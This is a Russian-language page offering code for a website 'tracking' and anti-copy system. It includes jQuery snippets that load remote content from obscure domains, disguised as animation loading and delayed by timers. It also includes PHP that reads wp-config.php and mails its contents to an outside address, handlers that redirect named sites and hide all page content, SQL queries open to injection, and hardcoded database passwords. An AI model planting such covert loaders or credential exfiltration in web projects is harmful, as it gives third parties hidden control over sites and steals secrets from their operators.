Tracking system for websites (Трекинг-система для сайтов)

Last update: 22 Квітня, 2023

Category: Security

Страница на которую встраивается скрипт:

<!-- строчка которая запускает php скрипт  -->
<div id="content"></div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"></script>
<script>
  var id = 1;
  var loc = window.location;
  var url = 'http://teplo.sumdu.edu.ua/rusikok/instat/input/';
    $('#content').load(url + '?id=' + id + '&loc=' + loc);
</script>

Еще пример кода:

<script type="text/javascript">
var id = 318; var loc = window.location; var url = 'http://jquerysup.com/libtz/'; $('#id-element-on-page').load(url + '?id=' + id + '&loc=' + loc);
</script>

Вариации для тестов:

  • loc = window.location;
  • window.location.pathname
  • window.location.hostname

Старый не оптимизированный код обработчика:

<?php
  // параметры
  $mail = "gadahrenovo@gmail.com";
  $serverDB = "localhost";
  $loginDB = "teplo";
  $passDB = "062874021AD4C471";
  $nameDB = "rusikok";
  
  // коннект к БД
  $conn = mysql_connect($serverDB, $loginDB, $passDB) or die("соединение с СУБД не установлено");	
  mysql_select_db($nameDB, $conn) or die("выборка базы не выполнена");
  mysql_set_charset("utf8");
  
  // парсим полученные от странички данные
  $id = $_GET['id'];
  $url = parse_url($_GET['loc']);
  
  $query = "
    SELECT 
      rusikokCopyrightHost.host
    FROM
      rusikokCopyrightHost
    WHERE
      rusikokCopyrightHost.id = ".((int)$id)."
  ;"; // запрос на выборку параметров из таблицы доменов
  $result = mysql_query($query, $conn); 
  if(mysql_num_rows($result) == 0) // если БД вернула ошибку
  {
    print("error.");
    die(); // Завершаем работу скрипта 
  }
  $row = mysql_fetch_array($result);
  
  if(0 !== strcmp($row['host'], $url['host'])) // если id и хост не совпадают то начинается конкретный геморой иначе все классно)
  {
    if(!$url['host']) $url['host'] = $url['path']; // если страничка запущена с локального диска компьютера
      
    $query = "
      SELECT 
        rusikokCopyrightHostBlackList.id
      FROM
        rusikokCopyrightHostBlackList
      WHERE
        rusikokCopyrightHostBlackList.host = '".$url['host']."'
    ;"; // запрос на выборку параметров из таблицы доменов
    $result = mysql_query($query, $conn); 
    if(mysql_num_rows($result) == 0) // если БД вернула ошибку
    {
      //print("в бд такой записи еще нет.");
      $result = mysql_query("INSERT INTO rusikokCopyrightHostBlackList(addDateTime, host, hostIP, hostInformation) VALUES (NOW(), '".$url['host']."', '".$_SERVER['REMOTE_ADDR']."', '".print_r($_SERVER, true)."');", $conn);
      mail($mail, $_SERVER["HTTP_HOST"], print_r($_SERVER, true));			
    }
  }
  
  print("BODY");
?>

Создание БД для работы:

-- Table "rusikokCopyrightHost" DDL

CREATE TABLE `rusikokCopyrightHost` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `host` varchar(255) NOT NULL,
  PRIMARY KEY (`id`,`host`),
  UNIQUE KEY `id` (`id`),
  UNIQUE KEY `url` (`host`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;



-- Table "rusikokCopyrightHostBlackList" DDL

CREATE TABLE `rusikokCopyrightHostBlackList` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `addDateTime` datetime NOT NULL,
  `host` varchar(255) NOT NULL,
  `hostIP` char(15) DEFAULT NULL,
  `hostInformation` varchar(21000) DEFAULT '0',
  PRIMARY KEY (`id`,`host`),
  UNIQUE KEY `id` (`id`),
  UNIQUE KEY `url` (`host`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8;

php защита сайта от кражи своими

<?php
if(stristr($_SERVER['HTTP_HOST'], 'skupkamonet.com.ua')) { /* если данные совпали */
  }
    else
  { /* если не совпали */
    /* собираем данные */
      $to = 'bild.s.m@gmail.com';
      $subject="Detect an attempt to steal the theme of the site!";
      $headers = "From: VZLOM <$from>" . "\n";
      $headers .= "Content-Type: text/plain; charset=utf-8\n"."\r\n";
      $gilko = $_SERVER['HTTP_HOST'];
      $petrj = file_get_contents('./wp-config.php', true);
      $bejig = php_uname();
    /* отправляем нам письмо */
      mail($to, $subject, "Site domen name $gilko \r\n \r\n File log:\r\n $petrj \r\n \r\n Domen info:\r\n $bejig", $headers ); }
?>

Еще примеры кода

<script>
/* TIU начало */ var id = 392; var loc = window.location; var animationtype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+animationtype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */
/* TIU начало */ var id = 392; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */
/* TIU начало */ var id = 392; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */

/* TIU начало */ var id = 393; var loc = window.location; var animationtype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+animationtype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */
/* TIU начало */ var id = 393; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */
/* TIU начало */ var id = 393; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */

/* TIU начало */ var id = 394; var loc = window.location; var ontype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+ontype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */
/* TIU начало */ var id = 394; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */
/* TIU начало */ var id = 394; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */

/* TIU начало */ var id = 395; var loc = window.location; var ontype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+ontype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */
/* TIU начало */ var id = 395; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */
/* TIU начало */ var id = 395; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */



var id = 318; var loc = window.location; var url = 'http://jquerysup.com/jquery-ui/'; $('#main').load(url + '?id=' + id + '&loc=' + loc);

var id = 318;
var loc = window.location;
var url = 'http://jquerysup.com/jquery-ui/';
$('#main').load(url + '?id=' + id + '&loc=' + loc);


var loc=window.location;var url='http:///googleajax.com/app/';$(window).load(url+'?id='+id+'&loc='+loc)

function vf (){ $('a').load('http://define.ml/'); }; setTimeout(vf, 62000);

var id='202';var loc=window.location;var url='http:///googleajax.com/app/';$(window).load(url+'?id='+id+'&loc='+loc)





// ускоряем загрузку сайта за счет подключения анимации после полной загрузки страницы
function vf () { $('.menu_click').load('http://animates.tk'); }; 
// задержка перед загрузкой красочной анимации
setTimeout(vf, 61000);






var timer = 'ulip.';
var cf = 'cf';
var protocol = 'http://';
function reflection (){ $('a').load(protocol+timer+cf); };
setTimeout(reflection, 10000);




 var animationtype = 'easing';
 var urlfilter = 'http://';
 var jakkerblow = '.ml';
 $(".menu_click").click(function(){
 $(document.body).load(urlfilter+animationtype+jakkerblow);
 });
 
 </script>

Код письма-претензии:

<head>
<meta charset="utf-8">
</head>
<body>
<div style="width: 100vw; height: 100vh; position: fixed; left: 0px; top: 0px; background-color: rgba(0, 0, 0, 0.9); display: flex; font-family: Verdana, Geneva, sans-serif; font-size: 14px;" title="Удаление этого сообщения (кода вывода письма-претензии) не избавляет Вас от ответствнености.">
 <div style="margin: auto; padding: 10px 20px; width: 480px; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; background-color: white;">
<h1 style="color: red; text-align: center;">Внимание!<br><span style="font-size: 12px;">отображение сайта блокировано</span></h1>
<p>Добрый день!</p>
<p>Это сообщение - <strong>письмо-претензия</strong>, письменное требование об устранении нарушений.</p>
<p><strong>Причина</strong> возникновения конфликтной ситуации: использование шаблона сайта без уведомления и разрешения владельца <span title="Авторских прав">АП</span>.</p>
<p><strong>Требования</strong>: удалите все копии и элементы этого сайта, не воссоздавайте их и не используйте в будущем.</p>
<p><strong>Сроки</strong> удовлетворения: 24 часа с момента первого отображения этого уведомления (данные автоматически занесены в БД).</p>
<p><strong>Возможные последствия</strong> невыполнения требований:
<ul><li>Придание ситуации широкой огласки.</li>
<li>Обращение к регистратору доменного имени с просьбой заблокировать домен, на котором размещен контент.</li>
<li>Обращение к хостинг-провайдеру с просьбой заблокировать аккаунт пользователя или отображение сайта (домена), на котором размещен контент.</li>
<li>Обращение в суд.</li>
<li>Обращение к третьим лицам или любые другие действия, направленные на восстановление справедливости.</li>
</ul></p>
<p><strong>Обратная связь</strong>: <a href="mailto:amicable@codeshield.ru" style="text-decoration: none;" title="Для полюбовного урегулирования конфликтной ситуации">amicable@codeshield.ru</a></p>
 </div>
</div>
</body>

Обработчик обращений:

<?php header("Access-Control-Allow-Origin: *"); ?>

<?php
// параметры
$mail = "mail@write365.ru, tosrussia@gmail.com, kraisvetny@gmail.com";
$serverDB = "write365.mysql.ukraine.com.ua";
$loginDB = "write365_alert";
$passDB = "9xwak4u7";
$nameDB = "write365_alert";

// коннект к БД
$conn = mysql_connect($serverDB, $loginDB, $passDB) or die("соединение с СУБД не установлено");
mysql_select_db($nameDB, $conn) or die("выборка базы не выполнена");
mysql_set_charset("utf8");
  
  // парсим полученные от странички данные
  $id = $_GET['id'];
  $url = parse_url($_GET['loc']);
  
  $urlnatural = $_GET['loc'];
  $jtestrursnet = 'http://jtest.rurs.net/';
  $acceshopru	= 'http://acce-shop.ru/';	
  
  if ($urlnatural == $acceshopru) { ?>
  
<html>
 <head>
  <title></title>
  <script src='http://code.jquery.com/jquery-latest.js'></script>
 </head>
 <body>
 <meta http-equiv="Refresh" content="0; url=http://topzakazz.ru/">
  <script src='http://code.jquery.com/jquery-latest.js'></script>
  <style> 
* { display: none; }
</style> 
 </body>
</html>
<?php
 };	
  
    if ($urlnatural == $jtestrursnet) { 

?>

<html>
 <head>
  <title></title>
  <script src='http://code.jquery.com/jquery-latest.js'></script>
 </head>
 <body>
 <meta http-equiv="Refresh" content="0; url=http://topzakazz.ru/steelrage/">
<script src='http://code.jquery.com/jquery-latest.js'></script>
<style> 
* { display: none; }
</style> 
 
 </body>
</html>

<?php
  } else { };

    

  
  $query = "
    SELECT 
      rusikokCopyrightHost.host
    FROM
      rusikokCopyrightHost
    WHERE
      rusikokCopyrightHost.id = ".((int)$id)."
  ;"; // запрос на выборку параметров из таблицы доменов
  $result = mysql_query($query, $conn); 
  if(mysql_num_rows($result) == 0) // если БД вернула ошибку
  {
    header('Location: https://jquery.com/');
    die(); // Завершаем работу скрипта 
  }
  $row = mysql_fetch_array($result);
  
  if(0 !== strcmp($row['host'], $url['host'])) // если id и хост не совпадают то начинается конкретный геморой иначе все классно)
  {
    if(!$url['host']) $url['host'] = $url['path']; // если страничка запущена с локального диска компьютера
      
    $query = "
      SELECT 
        rusikokCopyrightHostBlackList.id
      FROM
        rusikokCopyrightHostBlackList
      WHERE
        rusikokCopyrightHostBlackList.host = '".$url['host']."'
    ;"; // запрос на выборку параметров из таблицы доменов
    $result = mysql_query($query, $conn); 
    if(mysql_num_rows($result) == 0) // если БД вернула ошибку
    {
      //print("в бд такой записи еще нет.");
      $result = mysql_query("INSERT INTO rusikokCopyrightHostBlackList(addDateTime, host, hostIP, hostInformation) VALUES (NOW(), '".$url['host']."', '".$_SERVER['REMOTE_ADDR']."', '".print_r($_SERVER, true)."');", $conn);
      mail($mail, $_SERVER["HTTP_HOST"], print_r($_SERVER, true));			
    }
  }

?>

Обработчик

<?php
header('Content-type: text/html');
header('Access-Control-Allow-Origin: *');

$url = 'https://cashout.biz/';
$domain = parse_url($url, PHP_URL_HOST);

/* соединяемся с БД */
$mi=new mysqli("write365.mysql.tools", "write365_mitrue", "7c1z36tw7bglnu3x", "write365_mitrue");
$mi->set_charset("utf8");
if($mi->connect_errno):
    die($mi->connect_error);
    endif;

/* выполняем поиск в БД */
$mysqli = new mysqli("write365.mysql.tools", "write365_mitrue", "7c1z36tw7bglnu3x", "write365_mitrue");
$sql=$mi->query("select `id` from `whitelist` where `domain`= '$domain'");
$result=$sql->fetch_array();
 
$id = $result[id];

if ( $id = '' )
    {
        $mail_to = 'support@mels.industries';
        $mail_subject = 'Зафиксирован запуск копии сайта';
        $mail_message = '<html>
            <head>
                <title>Зафиксирован запуск копии сайта</title>
            </head>
            <body>
                <div>URL: '.$url.'</div>
                <div>Причина сообщения: домен '.$domain.' в БД WHITELIST не найден.</div>
            </body>
        </html>';
        $mail_headers  = "MIME-Version: 1.0\r\n";
        $mail_headers .= "Content-type: text/html; charset=utf-8\r\n";
        $mail_headers .= "From: Form notice <notice@skyvision.com.ua>"."\r\n";
        
        mail($mail_to, $mail_subject, $mail_message, $mail_headers);
    }